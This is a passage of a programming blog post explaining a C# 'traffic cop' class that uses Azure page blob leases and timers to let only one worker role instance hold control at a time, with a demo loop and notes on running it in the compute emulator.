public void Start(TimeSpan pollingInterval) { if (this.IsRunning) throw new InvalidOperationException("This traffic cop is already active. You must call 'stop' first."); this.IsRunning = true; myPollingInterval = pollingInterval; System.Threading.TimerCallback TimerDelegate = new System.Threading.TimerCallback(TimerTask); // start polling immediately for control pollingTimer = new System.Threading.Timer(TimerDelegate, null, TimeSpan.FromMilliseconds(0), myPollingInterval); // don't do any renewal polling renewalTimer = new System.Threading.Timer(TimerDelegate, null, TimeSpan.FromMilliseconds(-1), TimeSpan.FromSeconds(45)); }
We do a quick check to make sure we’re not already running, then set a flag to say we are (just a private boolean flag). I save off the control polling interval that was passed in and set up a TimerDelegate using the TimerTask method we set up a moment before. Now it’s just a matter of creating our Timers.
The polling timer will start immediately and fire again at the interval the calling process set. The renewal timer, since we’re just starting out attempts to get control, will not start, but will be set up to check every 45 seconds so we’re ready to renew the lease once we get it.
When we call the start method, it essentially causes our polling timer to fire immediately (asyncronously). So when TaskTimer is executed by that timer, HasControl will be false and we’ll try to get a lease. If we succeed, the polling timer will be stopped and the renewal timer will be activated.
Now to stop traffic:
public void Stop() { // stop lease renewal if (renewalTimer != null) renewalTimer.Change(TimeSpan.FromMilliseconds(-1), TimeSpan.FromSeconds(45)); // start polling for new lease if (pollingTimer != null) pollingTimer.Change(TimeSpan.FromMilliseconds(-1), myPollingInterval); // release a lease if we have one if (this.HasControl) ReleaseLease(); this.IsRunning = false; }
We’ll stop and dispose of both timers, release any locks we have, and then reset our boolean “IsRunning” flag.
And that’s the basics of our TrafficCop class. Now for implementation….
Controlling the flow of traffic
Now the point of this is to give us a way to control when completely unrelated processes can perform an action. So let’s flip over to the WorkerRole.cs file and put some code to leverage the traffic copy into its Run method. We’ll start by creating an instance of the CloudPageBlog object that will be our lockable object and passed into our TrafficCop class.
var account = CloudStorageAccount.FromConfigurationSetting("TrafficStorage"); // create blob client CloudBlobClient blobStorage = account.CreateCloudBlobClient(); CloudBlobContainer container = blobStorage.GetContainerReference("trafficcopdemo"); container.CreateIfNotExist(); // adding this for safety // use a page blog, if its empty, there's no storage costs CloudPageBlob pageBlob = container.GetPageBlobReference("singleton");
This creates an object, but doesn’t actually create the blob. I made the conscious decision to go this route and keep any need for the TrafficCop class to have to directly manage storage credentials or the container out of things. Your individual needs may vary. The nice thing is that once this is done, starting the cop is a VERY simple process:
myTrafficCop = new BlobTrafficCop(pageBlob); myTrafficCop.Start(TimeSpan.FromSeconds(60));
So this will tell the copy to use a blob called “singleton” in the blob container “trafficcopdemo” as our controlling process and to check for control every 30 seconds. But that’s not really interesting. If we ran this with two instances, what we’d see is that one instance would get control and keep it until something went wrong with getting the lease. So I want to alter the infinite loop of this worker role so I can see the cop is doing its job and also that I can pass control back and forth.
So I’m going to alter the default loop so that it will sleep for 15 seconds every loop and each time through will write a message to the console that it either does or does not have control. Finally, I’ll use a counter so that if an instance has control, it will only keep control for 75 seconds then release it.
int controlcount = 0; while (true) { if (!myTrafficCop.IsRunning) myTrafficCop.Start(TimeSpan.FromSeconds(30)); if (myTrafficCop.HasControl) { Trace.WriteLine(string.Format("Have Control: {0}", controlcount.ToString()), "TRAFFICCOP"); controlcount++; } else Trace.WriteLine("Don't Have Control", "TRAFFICCOP"); if (controlcount >= 4) { myTrafficCop.Stop(); controlcount = 0; Thread.Sleep(TimeSpan.FromSeconds(15)); } Thread.Sleep(TimeSpan.FromSeconds(15)); }
Not the prettiest code I’ve ever written, but it gets the job done.
Looking at the results
So to see the demo at work, we’re going to increase the instance count to 2, and I’m also going to disable diagnostics. Enabling diagnostics will just cause some extra messages in the console output that I want to avoid. Otherwise, you can leave it in there. Once that’s done, it’s just a matter of setting up the TrafficStorage configuration setting to point at a storage account and pressing F5 to run the demo. If everything goes well, the role should deploy, and we can see both instances running in the Windows Azure Compute Emulator UI (check the little blue flag in the tool tray to view the UI).
If everything is working as intended, you’ll see output sort of like this:
Notice that the role is going back and forth with having control, just as we’d hoped. You may also note that the first message was that we didn’t have control. This is because our attempts to get control is happening asynchronously in a separate thread. Now you can change that if you need to, but in out case this isn’t necessary. I just wanted to point it out.
Now as I mentioned, this is just a mini-pattern. So for my next post I hope to wrap this in another class that demonstrates the self-electing controller. Again leveraging async processes to execute something for our role instance in a separate thread. But done so in a way where we don’t need to monitor and manage what’s happening ourselves. Meanwhile, I’ve uploaded the code. So please make use of it.
Until next time!
See also. BTW, a zero-byte block blob should cost about the same amount as a zero-byte page blob. I typically just use block blobs for this. | https://brentdacodemonkey.wordpress.com/2012/07/27/the-traffic-cop-pattern/ | CC-MAIN-2018-26 | refinedweb | 2,588 | 65.32 |
14046/building-hyperledger-fabric-blockchain
To build your own app using Hyperledger Fabric, you need to first understand the complete concept of Hyperledger Fabric. To understand the Hyperledger Fabric concept complete, you can go through the Hyperledger Fabric Documentation available here:
After understanding the concept, you can get started with building your app. To start building, you first need to setup a development environment:
Next, build your first network
Finally, build your first application
After you do all this, you’ll get an idea of how to build your own app.
To use fabric I would recommend you ...READ MORE
Yes, you can run multiple CA servers ...READ MORE
The structure of block in Hyperledger Fabric ...READ MORE
The data of the Hyperledger Blockchain is ...READ MORE
Summary: Both should provide similar reliability of ...READ MORE
This will solve your problem
import org.apache.commons.codec.binary.Hex;
Transaction txn ...READ MORE
To read and add data you can ...READ MORE
The error is caused because your certificate ...READ MORE
Here are some links where you can ...READ MORE
OR
At least 1 upper-case and 1 lower-case letter
Minimum 8 characters and Maximum 50 characters
Already have an account? Sign in. | https://www.edureka.co/community/14046/building-hyperledger-fabric-blockchain | CC-MAIN-2021-49 | refinedweb | 203 | 57.67 |
XML::RSS::Headline::PerlMonks - Subclass of XML::RSS::Headline for reading RSS feed from perlmonks.org . "\n"; print "Category: " . $post->category . "\n"; print "Subject: " . $post->headline . "\n"; print "Link: " . $post->url . "\n\n"; } sleep( $feed->delay ); }
This module.
item()
This overrides the item() method in XML::RSS::Headline and adds the parsing of item nodes which use the perlmonks namespace.
These are new attributes that come from nodes using the perlmonks namespace. With the exception of category(), they are all simple getter/setter methods. Category does some translation from the perlmonks abbreviation for category to a prettier description as used in perlmonks' menus
category() authortitle() author_user() mode_id() createtime()
XML::RSS::Feed, XML::RSS::Headline, POE::Component::RSSAggregator
Please report any bugs or feature requests to
bug-xml-rss-headline-perlmonks [at] rt [dot] cpan [dot] org or through the web interface at.
Thanks to Jeff Bisbee for XML::RSS:Feed, it made my life so much simpler, to the monks at perlmonks.org, and my employer WhitePages.com for giving me time and resources to test things out.
Don Shanks, <donshank [at] cpan [dot] org>
This library is free software; you can redistribute it and/or modify it under the same terms as Perl itself, either Perl version 5.8.5 or, at your option, any later version of Perl 5 you may have available. | http://search.cpan.org/~donshank/XML-RSS-Headline-PerlMonks-0.2/lib/XML/RSS/Headline/PerlMonks.pm | CC-MAIN-2014-35 | refinedweb | 225 | 57.37 |
.
## “Java Microbenchmark Harness: The Lesser of Two Evils” by Aleksey Shipilev (mario)
At day four I had to decide between a spring four talk and a talk about Java Microbenchmark
and my decision was completely right to go to the benchmarking one. It proofed me
completely wrong in knowing something (right) about JVM and hardware performance behavior.
The talk was not an easy one and it was really hard to follow, but it was amazing.
The speaker is Oracle Java Performance Engineer and he is working all day to improve the JVM and the Java-Core-Libraries.
He has a rich knowledge about the internals of the JVM.
In the talk he offered a lot of information about the behavior of the JVM and the hardware per example the CPU.
One of the main expressions was, that it is very unpredictable what happened exactly in your hardware if
you run your code. There are so many different things that can make your Test-Results useless.
He also introduced the tool JMH (Java Microbenchmark Harness) which helps you to get around some of the pitfalls.
His talk was a little bit to fast at the first half. At the second half of the talk he realized it
and he slowed down the speed. The talk was originally created for the JVM Language Summit, so it is targeting Language-Designer and
JVM-Core-Developer.
He showed Microbenchmark-Code and asked the audience to predict the results. Then he showed the results and
asked why they were so completely different from the expectations. The explanations were a little bit
to fast in my opinion, but I think there was not enough time to make this clear for none JVM-Core-Developer.
One funny thing he said was about blogs who shows benchmark test-results. He said they must be really happy
people because they don’t know the truth about there (for sure wrong) test-results.
The last question of the talk was who were scared now and nearly everyone (including me) raised his hand.
I realized that all my performance-testing I have done were wrong in many directions. I will have to see the talk
on parley again and maybe read some extra documentation to get the whole bunch of information right.
On day 4 of Devoxx Sam Brannen talked about the the changes we have to expect with the upcoming 4th version of Spring Framework.
With the presentation not focusing on deeper details, I’ll summarise the features this version will bring to us.
With Spring 4.0 you will be able to take advantage of the new Java 8 language features like Lambda expressions, method references, repeatable annotations and the Date/Time additions. Beside that it will support Java EE 7.
Groovy will be more integrated into Spring, providing the possibility of creating Spring bean definitions using the Groovy DSL. That shall make it possible to write Spring applications completely in Groovy.
It will be possible to “override” fields in meta-annotations with your custom annotations by using naming conventions, there will be enhanced WebSocket support and you can now define lazy initialisation on the injection point rather than at the bean definition.
The feature that I personally expect most is the full type matching of Generics with Dependency Injection.
Along with those new features, other things will be dropped.
Java SE and EE versions 6 or higher will be required and also support for older versions of third party packages like Hibernate 3.5 or Junit 3.8 will be no longer continued.
With that all deprecated packages from Spring 3.x and many deprecated methods and fields will be completly gone in Spring 4, so it would want to check your code for usage of those before migrating to version 4.
What to expect from Spring 4.0 and especially how to migrate from 3.x? Sam Brannen talks about the next generation of the famous application framework.
First fo all a short Sping 3.x review. The Spring component model has changed in Spring 3.x to a more powerful annotation based nature. SpEL which stands for the Spring expression language was introduced and especially used in XML config files. Web support with comprehensive REST support and additional MVC fetaures were added. Furthermore Spring declarative features in terms of validation and formattinng (JSR-303 bean validation), scheduling and caching were added to the box. Spring testing features with several XML namespace components to simplify the configuration fit in nicely in Spring 3.x. And last not least the integration of Java key specifications like @Inject, JPA annotations and web.xml.
A lot of stuff going on in Spring 3.x in the past so now I am very curios on what’s new in the box for 4.0 and I hope you are with me.
New baselines and all deprecated packages are removed, so it is time to stop ignoring those deprecated annotations in 3.2 Spring code! It is time for us to switch to new implementations and classes provided as alternative to the deprecated stuff. In 4.0 those deprecated classes are gone. In addition to that all third party libraries were updated and in general to major versions around mid 2010.
The Spring team put a lot of effort in creating a smooth out-of-the-box Groovy-based Spring experience. AOP adaptions as special handling of GroovyObject calls for instance. Also nice the new Spring bean definition Groovy DSL. So everything you can do right now with XML bean definition and Java annotation based configuration can be done with Groovy script DSL in 4.0.
In Spring 3.x we had profiles to conditionally load bean definitions based on the environment we are running at (e.g. development vs. production environment). Now we have a even more powerful way to load bean definition based on some condition. Basically this is an extension to the profiles but more flexible and it can be used for smart defauflting (see Spring Boot project).
@Conditional and Conditional interface are new constructs to use in order to conditionally add bean definitions to the applciation context. Actually the well known profiles now are converted to some ProfileCondition.
Custom annotations may now override specific attributes of Spring meta annotations like @MyTransactional and @MySessionScope. This is a convention-based concept which is great to encapsulate a group of Spring annotations in a custom annotation.
You can load bean definitions in lacy nature when they are requested in the application context. In Spring 3.x this was done directly on the bean definition and affected all occurences of bean references of this particular lacy bean. @Lazy is now set on injection point rather than definition point. So you can do a very particular lacy dependency injection of a bean, that not necessarily has to be lacy loaded in other situations. In general this is an alternative to the Provider<MyTargetType> construct.
This feature of injecting a list of beans of same type that are present in the application context is not completely new. Now you are able to specify the order of beans listed. So you can inject a list of candidate beans with order by sorting the list before injection.
Dependency injection and generic types are now even more fine granular in matching bean candidates. Type matching is now based on full generic type (e.g. MyRepository<Customer>). Generic factory methods are now fully supported in XML configuration which is very useful when using Mockito and EasyMock beans for testing.
Spring messaging is a completely new module which is basically an extraction of the separate Spring Integration project. The concepts and components offered there are now available in this new module representing core message and channel abstractions.
Spring offers new WebSocket support with endpoint model along the lines of Spring MVC. Not only the WebSocket JSR-356 is supported but also beyond that covering SockJS and STOMP. In terms of that a new RestTemplate variation called AsyncRestTemplate comes for non blocking REST calls on the client side. This is based on ListenableFuture concepts.
Things gone: JUnit 3.8 support, @ExpectedException, @NonTransactional, SimpleJdbcTestUtils
Things new: SocketUtils (scan for free UDP TCP ports), ActiveProfileResolver, custom meta-annotation support for tests
In Java SE world Spring now supports JDK 6 up to JDK 8. The IDE support for IntelliJ IDEA 12 was already released in December 2012 and is up to date right now. Eclipse users have to wait till June 2014 :-( while the Spring Tool Suite might find earlier Eclipse based support for you Eclipse users out there.
JDK 8 language features like lambda expressions and method references do fit naturally with the Spring API. Spring API is already designed to work with separation of concerns in terms of one method interfaces that are perfectly capable of lambda expressions. Automatic candidates are JmsTemplate, TransactionTemplate and JdbcTemplate methods and operations (e.g. MessageCreator or RowMapper).
Spring 4.0 will be available in December ‘13 and I am looking forward to that.
This morning, I attended the talk on “Cloud Patterns”, by Nicolas de Loof of CloudBees. The announcement was promising: It said that the talk would show how to refactor legacy single-server applications to make them ready for distributed cloud deployment. The announcement also said that the talk would present the experiences made when porting the Devoxx call for papers application (single server app based on Wicket, Spring, MySQL) to CloudBees.
Given that the talk was targeted at a senior audience, I expected a lot of code, database dumps, tricky unexpected errors, and how to solve them.
However, the talk was more a high level presentation of some commonplace thoughts on cloud development. Some examples:
The presentation was all PowerPoint, and did not include any demo. Not a single line of code was shown.
The talk may have been good for people who wanted a general overview of what should be considered when moving an application to the cloud. However, given that the talk was explicitly announced as being a senior talk on real-live lessons learned, I was a bit disappointed.
The problem with Http is that it is half duplex, verbose and client initiated. There is no support for server push. Hacks exist such as long poll, comet, etc. It doesn’t scale due to the verbosity, especially with headers.
WebSocket is a full-duplex, bi-directional protocol over a single TCP connection. It solves the two problems of scalability and server to client communication.
It uses the existing http upgrade mechanism to upgrade a http connection to a WebSocket connection.
WebSocket consists of the protocol RFC6455 (2 years old). It defines the wire frame which is very lean and the upgrade machanism from http to WebSocket. Additionally W3C defines the WebSocket JavaScript API which is in stage “Candidate Recommendation”.
Client-Server connections are established by a handshake request/response contained in Http headers. “Upgrade” and “Connection” http headers are used for that. Additional headers for security etc. are also available.
Upgrade: websocket Connection: Upgrade
The response is mainly a Http Status “101 Switching Protocols”.
Client and Server become peers by upgrading the Http to a WebSocket connection. They both can be considered equal partners that can send and receive messages over the WebSocket connection.
W3C WebSocket API at
SubProtocols can be used over the WebSocket connection. The API offers networking callback handlers for open/close/error events. Text and binary messages can be send over WebSockets using existing send methods.
Support for WebSockets have to be build in the browser. It is not possible to use websocket with a library. Chrome, Safari, Firefox have WebSocket support. IE doesn’t.
WebSocket is not supposed to replace Rest. WebSocket is very low level. There even isn’t a Request/Reponse pattern. However a (simple) performance comparison benchmark shows :
Sending 10 messages of 1Byte takes 220ms with Rest and 7ms wit WebSocket.
Sending 5000 messages of 1KB takes 54s with Rest and 1s with WebSocket.
The JSR 356 specification is the standard API for creating WebSocket pplications with Java. It is part of Java EE7 and available in GlassFish, WildFly, Tomcat and Jetty.
Annotated with
@ServerEndpoint and
@ClientEndpoint or use a programmatic endpoint which gives more control and extension hooks. Handshake negotiation e.g. can be customized.
Hello World example:
import javax.websocket.*; @SeverEndpojnt("/hello") public class HelloBean { @OnMEssage public String sayHello(String name) { return "hello"+name } }
This example actually implements a request/response design pattern.
Available Annotations:
@ServerEndpoint @ClientEndpoint @OnMessage @PathParam @OnOpen @OnClose @OnError
The ServerEndpoint offers support for custom payloads by adding Encoders/Decoders to the Endpoint using a annotation attribute. Decoder simply has to implement the Decoder.Text interface. Each decoder has a willDecode() method to allow to find the “right” decoder. Same applies for the Encoder.
Optional Url Path parameters can be used in method signatures. Also optional Session parameters can be used in Endpoint methods.
Note: A single Server Instance is created for each incoming request (Uh!).
Authentication is done using standard Servlet security mechanisms. Use it before the upgrade from http to websocket. The security model is the same for
ws:// requests as for
http://. Transport security can be obtained by using
wss:// for ssl websocket connections.
To see what is going over the wire Wireshark is a good tool. Chrome also has good debugging support for websocket requests.
Three years ago I first heard of WebSockets in a talk at Devoxx from a Kaazing guy. I was really exited and tried to use the technology in a real world projects. It was a pain at that time. For me it was very interesting to see how WebSocket finally made it to JEE and will be usable in real world projects. I’ll give it another try…
This talk is all about the Myo, a wearable gesture control armband that senses the movements of the muscles of the forearm to control digital devices. It is based on Electromyography, which is a technic to measure the electrical activity when muscle contracts.
It is a 9-axis inertial tracking system with tacktile feedback. It communicates with BT 4.0 LE. The muscle sensor do not have a contact to the skin.
The API is still in pre alpha state and will change for sure until the first release. The supported language for the API will be C++, .NET, iOS, NodeJS and more. Every Myo hub starts as event producer to which listener can register for one or more Myo connected devices. The initially supported events are
A
Motion event is describe by a timestamp, acceleration, angular velocity, orientation and associated pose (if any). A
Pose has a start and finish time, the type of the recognized pose (“fist”, …) and state (holding, released, started). The API comes with a predefined set of poses. A
Gesture is more dynamic and has a timestamp, type (circle, swiping, …) and state (start, recording, end).
The live demo uses the Node.js API. He shows how to fetch the raw data from Myos. For detecting poses or gestures, machine learning algorithms a re used. I think, that will become the real hard part. An iOS Client was shown also.
This gadget is quite impressive, but seems to be still in an early stage. | https://labs.consol.de/devoxx/development/2013/11/15/devoxx-2013-day-4.html | CC-MAIN-2018-22 | refinedweb | 2,550 | 56.96 |
On 12/13/10 6:00 PM, Alex Karasulu wrote:
> On Mon, Dec 13, 2010 at 12:41 PM, Emmanuel Lecharny<elecharny@gmail.com>wrote:
>
>> Hi guys,
>>
>> I'm resuming the APs implementation. I have had a new idea this morning
>> about the best way to handle them.
>>
>> Currently, we had devised about too possible options
>>
>> 1) Processing the entries while adding a new AP
>> The idea is that when we add a new AP (or delete an existing one, or
>> modifying an existing one), we evaluate all the underlying entries and
>> update each one which is selected by the associated SubtreeSpecification by
>> adding a reference to its associated AP in the entry.
>> This is done once, then when a user grab an entry, we don't need to
>> evaluate it again, as this work has already been done, so we accept to pay
>> the price once, but it's free for every operation after this initial update.
>>
>> The price to pay is pretty expensive, if we consider a huge base with
>> hundred of thousands entries, as we have to update many, and as an update is
>> slow (we currently can process 600 per second of such updates - depending on
>> the server we are running on, of course -, so for 1 000 000 entries it might
>> take up to 30 minutes ).
>>
>> 2) Processing the evaluation on the fly
>> The second idea is to evaluate the entry when a user requests it, to avoid
>> paying the price for the initial update.
>>
>> The big problem with this approach is that if we have many APs
>> SubtreeSpecifications to evaluate, this evaluation is not free, plus it has
>> to occur *everytime* a user access the entry. That could slow down the
>> server a lot (probably double the time it takes to return an entry).
>>
>> So far, we have decider to go for option #1, simply because adding an AP is
>> an administrative task, which does not occur very often. We all realize that
>> it has drawbacks, but it's far better than option #2 anyway.
>>
>> Now, I'd like to propose a third option, which might be acceptable,
>> considering that we will pay a small price compared to both option #1 and
>> #2.
>>
>> 3) Processing on the fly and store the result
>> The idea is to process the evaluation when someone fetches an entry, but to
>> store the evaluation result in the entry. If the fetched entry has already
>> been evaluated, then no need to process it again.
>>
>> The direct benefit will be that we won't have this huge initial update
>> required by option #1, and the entry evaluation wil be just a matter to
>> check if an AT has been set instead of fully evalute the entry as in option
>> #2.
>>
>>
> This sounds like an excellent compromise.
>
> Is there a chance though of triggering a large set of these updates on for
> example a search making this approach in practice perform close to approach
> #1? Let me explain:
>
> Usually directories containing millions of entries have most of their
> entries under a small number of containers like ou=users for example.
> Directories today are flatter than in the past where there was more depth
> and hierarchy.
>
> Using a search filter without many constraints (AVAs) under a congested base
> with one or sub tree scope may trigger the need to evaluate a large set of
> entries.
>
> To think this through let me just for the record go through the way search
> interacts with the administrative model subsystem. I won't consider
> base/object scoped searches.
>
> (1) On the way into the server a search may have some evaluations done on
>
> (2) The search call returns a Cursor for the search request parameters
> positioned
> at the first candidate to return. This may have actually processed
> several
> candidates that do not comply with the filter. During candidate
> processing
> administrative aspects will be considered, so subtree specification
> evaluation
> will occur.
>
> (3) There after calls to get the next candidate and so on repeat the
> steps in #2
> until the Cursor is exhausted or search limits if in effect halt
> the search.
>
> In step #2 evaluations checking entries for inclusion in administrative
> areas defined by subtree specifications, occur only after the filter's
> constraints have been applied and the entry in question passes those
> assertions.
>
> So a search can only trigger updates on entries satisfying it's filter. Also
> this will be shorted by search limits as well for standard users
> (non-admin). If the filter is not very restrictive for example
> (objectClass=*) then this is bad but search limits should constrain the
> number of updates performed.
>
> So only a subset of the updates will take place. It does sound good going
> through the entire thought process.
If I understand the objection, which makes sense, then if the
SubtreeSpecification select an area which is smaller than the subtree
content, I mean, really smaller, then yes, the proposed solution might
be slower.
For instance, if we suppose we have a 1 million user entries in a flat
tree, with some Subtree Specification selecting 1000 users out of the
1M, then using a precomputed index will speed up the search withing this
subtreeSpecification, as we can use this index to reduce the number of
candidates.
However, we can provide a mechanism that creates an index if needed. Let
me explain : if the speed is really an issue in such a case, what about
having an extended operation that will ask the server to create such an
index for a AP, and store the information in this AP, so that the search
engine can leverage it if it exists ? Of course, it requires that the
full evaluation is to be done.
>
> What about when the AP is modified and deleted ?
AP modification and deletion is not an issue. Each AP has a unique TS,
and when it's deleted, or moved, the entries are depending on either
another AP, with a different TS (at this point, it's probably better to
name it a revision number, but it does not matter too much. What is
important is that this number *must* be unique).
Let's see what it gives for a deletion :
- if the deleted AP depends on a higher AP in the tree, then the entries
associated with the deleted AP will now depend on the higher AP. But the
reference to the deleted AP will be irrelevant now, and the TS will also
be irrelevant. When someone fetch this entry, the server will search for
the closest AP, and will compare the AP's TS with the entry's TS : as it
will be different, we will remove the ref from the entry, and update it,
then update the TS. We are done !
For a modification, it's the same thing :
- move : we still compare the entries' TS with the AP they depend on
(the moved AP or the higher AP, it depends on the situation.
- rename : nothing change
>
>> a Timestamp (TS) is updated.
>
> Is this a global timestamp used for this purpose system wide?
It's more a revision number, or a unique identifier. A SeqNumber, in fact.
>
>> This TS will be incremented every time we add a new AP.
>
> Again also when we update or delete an AP (implies subentries as well)?
Same, if we update the AP content, the TS must be updated.
>
>> We don't update any entry.
>> Then when a user fetch some entries, for every one of the selected entries,
>> we check if it has a TS AT present.
>
> I presume this timestamp attribute is separate from the modifyTimestamp or
> createTimestamp right?
right, otherwise we might have conflict as the server is so damn fast :)
> So there's a special timestamp in the entry and on somewhere in the server
> to do these TS comparisons?
yes, in each entries and in the AP. It will be an OperationalAttribute.
>
>> If not, then we evaluate the entry against the AP it depends upon, and when
>> done, we add the last TS into the entry, save it and return (or not) the
>> entry to the user.
>> If the entry has a TS AT, then we have two cases
>> - The TS equals the last TS : the entry has already been evaluated, and we
>> can return it (or not, depending on the evaluation result)
>> - The TS is below, so we reevaluate the entry.
>>
>> Now, how will we distinguish between an entry evaluating to true or false ?
>> Easy : if the entry is selected by a SubtreeSpecification, we will have a
>> ref to the associated AP in it, otherwise no.
>>
>>
> So you have to update the timestamp and the ref back to the AP containing
> the subentry selecting it right?
right. We use the EntryUUID to avoid all the updates when moving an AP
(we already decided to do that, even if it cost an extra lookup in the
DN/UUID table)
>
>> I do think that this third option has great advantages, and not only from
>> the user or admin POV : the implementation will be greatly improved, as we
>> don't have to deal with all the cases when handling an AP
>> addition/modification/deletion.
>>
>>
> It's still somewhat hazy.
Yeah, a bit ! I must admit it cames to my mind this morning, I have no
idea why. A bit like when you found the best way to deal with DN...
Not sure I cover all the bases, but sounds promising and deserves a
discussion...
>
>> One last thing : one may object that the on the fly evaluation is not
>> acceptable, as it will cost a lot for the first access to an entry. True.
>
> I'd think it's very acceptable but does the gain outweigh the complexity is
> my question and I still don't fully understand your approach.
The strange thing is that it seems to me less complex to implement that
to deal with all the potential cases if we process all the entries when
adding an AP. For instance, we don't anymore have to take care of the
atomicity for AP operations, as we just update the AP, nothing else. I
was stuck yesterday trying to see how we can revert an AP addition if we
started to modify thousands of entries and suddenly we get a failure...
There are also extra complexity in the current algo, like how to avoid
updating the entries more than once, as we have 4 roles to deal with,
and this is really very complex. Using the proposed algo will allow us
to just take care of a role for an entry alone.
> This is a really complex part of the server and I'm hoping we can find ways
> to simplify it further.
>
> At some point you had a great idea of using indirection via UUID instead of
> a direct reference with DN back to the AP. Are you still thinking about
> this approach. I need to dig up that email you originally had sent to the
> dev list. It was a great idea.
Yeah, absolutely. But it's really orthogonal at this point. Whatever
solution we will use, we will manipulate entryUUID.
>
>> But I claim that it's the administrator to deal with this problem, and then
>> its not anymore a user issue. When the admin add an new AP, he also can
>> fetch all the entries below the added AP, and they will be updated on the
>> fly. The users won't be impacted anymore.
>>
>> thoughts ?
>>
>>
> The idea is great but I'm worried about how much more complexity it may
> introduce on top of something that already needs simplification but I guess
> experimentation will really tell you that.
probably. Keep in mind that introducing IAP is already injecting another
magnitude of complexity, but I really don't see how we can avoid having
IAP.
> The best thing to do is get a clear idea of your approach and try
> implementing it in a branch after some discussion to help address all the
> issues.
I was also thinking that we might want to have heuristics. Sometime, it
might be better to have all the entries being evaluated once and
forever, sometime we don't care.
Btw, the trunk does not have anything working atm, so we need something
working quite quickly.
I'll create a branch to experiment, that will allow others peeps to
continue working on the server.
--
Regards,
Cordialement,
Emmanuel Lécharny | http://mail-archives.apache.org/mod_mbox/directory-dev/201012.mbox/%3C4D065927.5070001@gmail.com%3E | CC-MAIN-2015-32 | refinedweb | 2,067 | 66.78 |
#include <AmplTNLP.hpp>
Inheritance diagram for Ipopt::AmplTNLP:
Ampl Interface, implemented as a TNLP.
Definition at line 281 of file AmplTNLP.hpp.
Constructor.
Default destructor.
Default Constructor.
Copy Constructor.
Exceptions.
returns bounds of the nlp.
Implements Ipopt::TNLP.
Returns the constraint linearity.
array will be alocated with length n. (default implementation just return false and does not fill the array).
provides a starting point for the nlp variables.
Implements Ipopt::TNLP.
evaluates the objective value for the nlp.
Implements Ipopt::TNLP.
evaluates the gradient of the objective for the nlp.
Implements Ipopt::TNLP.
evaluates the constraint residuals for the nlp.
Implements Ipopt::TNLP.
specifies the jacobian structure (if values is NULL) and evaluates the jacobian values (if values is not NULL) for the nlp.
Implements Ipopt::TNLP.
specifies the structure of the hessian of the lagrangian (if values is NULL) and evaluates the values (if values is not NULL).
Reimplemented from Ipopt::TNLP.
retrieve the scaling parameters for the variables, objective function, and constraints.
Reimplemented from Ipopt::TNLP.
This method is called when the algorithm is complete so the TNLP can store/write the solution.
Implements Ipopt::TNLP.
Return the ampl solver object (ASL*).
Definition at line 386 of file AmplTNLP.hpp.
Write the solution file.
This is a wrapper for AMPL's write_sol. TODO Maybe this should be at a different place, or collect the numbers itself?
ampl orders the variables like (continuous, binary, integer).
This method gives the number of binary and integer variables. For details, see Tables 3 and 4 in "Hooking Your Solver to AMPL"
A method for setting the index of the objective function to be considered.
This method must be called after the constructor, and before anything else is called. It can only be called once, and if there is more than one objective function in the AMPL model, it MUST be called.
Overloaded Equals Operator.
Make the objective call to ampl.
Make the constraint call to ampl.
Internal function to update the internal and ampl state if the x value changes.
Method for obtaining the name of the NL file and the options set from AMPL.
Returns a pointer to a char* with the name of the stub
returns true if the ampl nerror code is ok
calls hesset ASL function
Journlist.
Definition at line 438 of file AmplTNLP.hpp.
pointer to the main ASL structure
Definition at line 441 of file AmplTNLP.hpp.
Referenced by AmplSolverObject().
Sign of the objective fn (1 for min, -1 for max).
Definition at line 444 of file AmplTNLP.hpp.
Definition at line 448 of file AmplTNLP.hpp.
Solution Vectors.
Definition at line 455 of file AmplTNLP.hpp.
Solution Vectors.
Definition at line 456 of file AmplTNLP.hpp.
Solution Vectors.
Definition at line 457 of file AmplTNLP.hpp.
Solution Vectors.
Definition at line 458 of file AmplTNLP.hpp.
Solution Vectors.
Definition at line 459 of file AmplTNLP.hpp.
Solution Vectors.
Definition at line 460 of file AmplTNLP.hpp.
true when the objective value has been calculated with the current x, set to false in apply_new_x, and set to true in internal_objval
Definition at line 468 of file AmplTNLP.hpp.
true when the constraint values have been calculated with the current x, set to false in apply_new_x, and set to true in internal_conval
Definition at line 472 of file AmplTNLP.hpp.
true when we have called hesset
Definition at line 474 of file AmplTNLP.hpp.
true when set_active_objective has been called
Definition at line 476 of file AmplTNLP.hpp.
Pointer to the Oinfo structure.
Definition at line 480 of file AmplTNLP.hpp.
nerror flag passed to ampl calls - set to NULL to halt on error
Definition at line 483 of file AmplTNLP.hpp.
Suffix Handler.
Definition at line 486 of file AmplTNLP.hpp. | http://www.coin-or.org/Doxygen/CoinAll/class_ipopt_1_1_ampl_t_n_l_p.html | crawl-003 | refinedweb | 625 | 59.9 |
From: Markus Schöpflin (markus.schoepflin_at_[hidden])
Date: 2004-08-31 03:59:47
Jeff Garland wrote:
> On Mon, 30 Aug 2004 13:25:51 +0200, Markus Schöpflin wrote
...
>> [lib.facets.examples] doesn't say so but most examples I could find
>> either have a default constructor or a constructor taking a reference
>> count.
>
> I'm not sure where you are seeing these examples, but if you looking in
> libs/date_time/test/gregroian/testfacet.cpp I don't think you will find
> any default constructors.
>
> Maybe you can send me some of the errors you are getting -- onlist or
> off -- your choice?
I'll be trying to make myself more clear this time.
Currently, not all date_time tests compile with tru64cxx65. This is because
of a problem in the RW std library used on that platform. I now have
received a patch from HP which should fix the problem. But the patch now
requires a user defined facet to be default constructible, which the
date_time facets are not. Therefore, the tests still won't compile.
I now was wondering what the standard actually requires of a user defined
facet (IOW if the date_time facets are legal) and all I could find was
[lib.facets.examples] which isn't really much. Therefore I looked around a
little more for other examples of user defined facets (besides date_time)
and most of the examples I found were either default constructible or had a
constructor which takes a refs argument.
Therefore I decided to ask what the standard actually requires of a user
defined facet. Currently I'm thinking that both facets below are legal
according to the C++ standard and therefore that the error I'm still
getting on my platform is a problem of the std library and not of date_time.
---%<---
#include <locale>
struct foo : std::locale::facet
{
static std::locale::id id;
};
struct bar : std::locale::facet
{
static std::locale::id id;
bar(int) { }
};
std::locale::id foo::id;
std::locale::id bar::id;
int main()
{
std::use_facet<foo>(std::locale());
std::use_facet<bar>(std::locale());
return 0;
}
--->%---
Sorry for any confusion I might have caused...
Markus
Boost list run by bdawes at acm.org, gregod at cs.rpi.edu, cpdaniel at pacbell.net, john at johnmaddock.co.uk | https://lists.boost.org/Archives/boost/2004/08/71034.php | CC-MAIN-2021-43 | refinedweb | 377 | 65.01 |
